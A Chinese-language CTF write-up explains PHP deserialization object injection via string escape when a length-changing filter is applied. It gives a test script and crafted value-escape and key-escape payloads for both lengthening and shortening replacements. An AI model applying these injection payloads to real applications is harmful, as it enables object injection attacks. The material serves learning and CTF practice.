字符串逃逸的对象注入 Fay·D·Flourite

反序列化基于字符串逃逸的对象注入

这个点做题碰到好几回了,基本上只要涉及反序列化的题,里面有类似preg_replace()字眼的替换函数,就八九不离十了,这里总结一下。

主要是由少变多和由多变少两种替换方式

由少变多

由多变少构造相对简单一些

借用大佬的测试脚本:

<?php
function filter($string){
  $a = str_replace('x','zz',$string);
   return $a;
}

$username = 'bbbbb';
$password = "aaaaax";
$user = array($username, $password);

echo(serialize($user));
echo "</br>";

$r = filter(serialize($user));

echo($r);
echo "</br>";

var_dump(unserialize($r));
$a='a:2:{i:0;s:5:"bbbbb";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';
var_dump(unserialize($a));
?>

可以看到中间有个过滤器把x换成了zz,我们来运行一下:

报错出在s:6:"aaaaazz"这里,由于替换后字符数不一致而导致了报错

可以看到,x替换成了zz导致了一个字符串逃逸了出来

于是我们在原数组中多构造一个fay的字符串,其序列化结果是i:2;s:3:"fay";,总共14个字符

外加闭合前面的"形成完整的一个序列化结果,要构造的就该是";i:2;s:3:"fay";},总共17个字符,则需要16个x逃逸出额外16个字符

则我们要将第一个对象赋值为bbbbbxxxxxxxxxxxxxxxx";i:2;s:3:"fay";}

完整的序列化结果则是a:2:{i:0;s:22:"bbbbbxxxxxxxxxxxxxxxx";i:2;s:3:"fay";}";i:1;s:5:"aaaaa";}

测试:

成功反序列化注入了对象

由多变少

参照安洵杯easy_serialize_php

还是借用上面那个脚本,将过滤器改为

function filter($string){
  $a = str_replace('xx','',$string);
   return $a;
}

即把xx替换为空,试验结果:

两种方法:

  1. 值逃逸

由于他替换后字符数减少,我们就可以在数组中第一个值动手脚,输入一定量的xx,再在第二个值构造对象注入并把前面的值包含进第一个值反序列化后被过滤的字符数中。

感觉讲不是很能讲清楚,直接来看例子

第一个值是16个x,第二个值是aaaaa,经过过滤后前面的字符数还在但字符没了,我们的目标就是将框中的内容作为第一个的值,再在后面构造第二个的payload。

尝试注入一个值为fay的对象,反序列化值为i:2;s:3:"fay";

第一个值改为xxxxxxxxxxxxxxxx

第二个值改为aaaaaa";i:2;s:3:"fay

上结果:

用红色和蓝色区分了一下对象注入后的第一个值和第二个值,应该还是比较清楚。

  1. 键逃逸

需要键名,我们把代码改一下

$username = 'bbbbb';
$password = 'aaaaaa';
$user = array("hello"=>$username, "world"=>$password);

输出结果是:

思路其实和前一个差不多,不过只需要一个值,将键名修改为过滤内容来包含后面值不要的内容

如下

用键名过滤后逃逸出的字符串来包含值中不要的内容,我们再来尝试注入一个键名为hacker值为fay的对象

把第一个值键名改为xxxxxxxx,值改为";s:5:"bbbbb";s:6:"hacker";s:3:"fay";}

也是分别用红色和蓝色标记了第一个值和第二个值,方便看。键逃逸的要求比值逃逸要少一些。

总结

注意同时存在反序列化和过滤的情况,注意替换的规则是少变多还是多变少

少变多构造相对简单,根据要构造的序列化字符数和两个替换字符之间相差的字符数构造即可

多变少则相对难构造一点,最好是先想好完整的序列化字符串的样子,数好要哪些字符串是不需要的,再根据两个替换字符串之间相差的字符数来构造poc。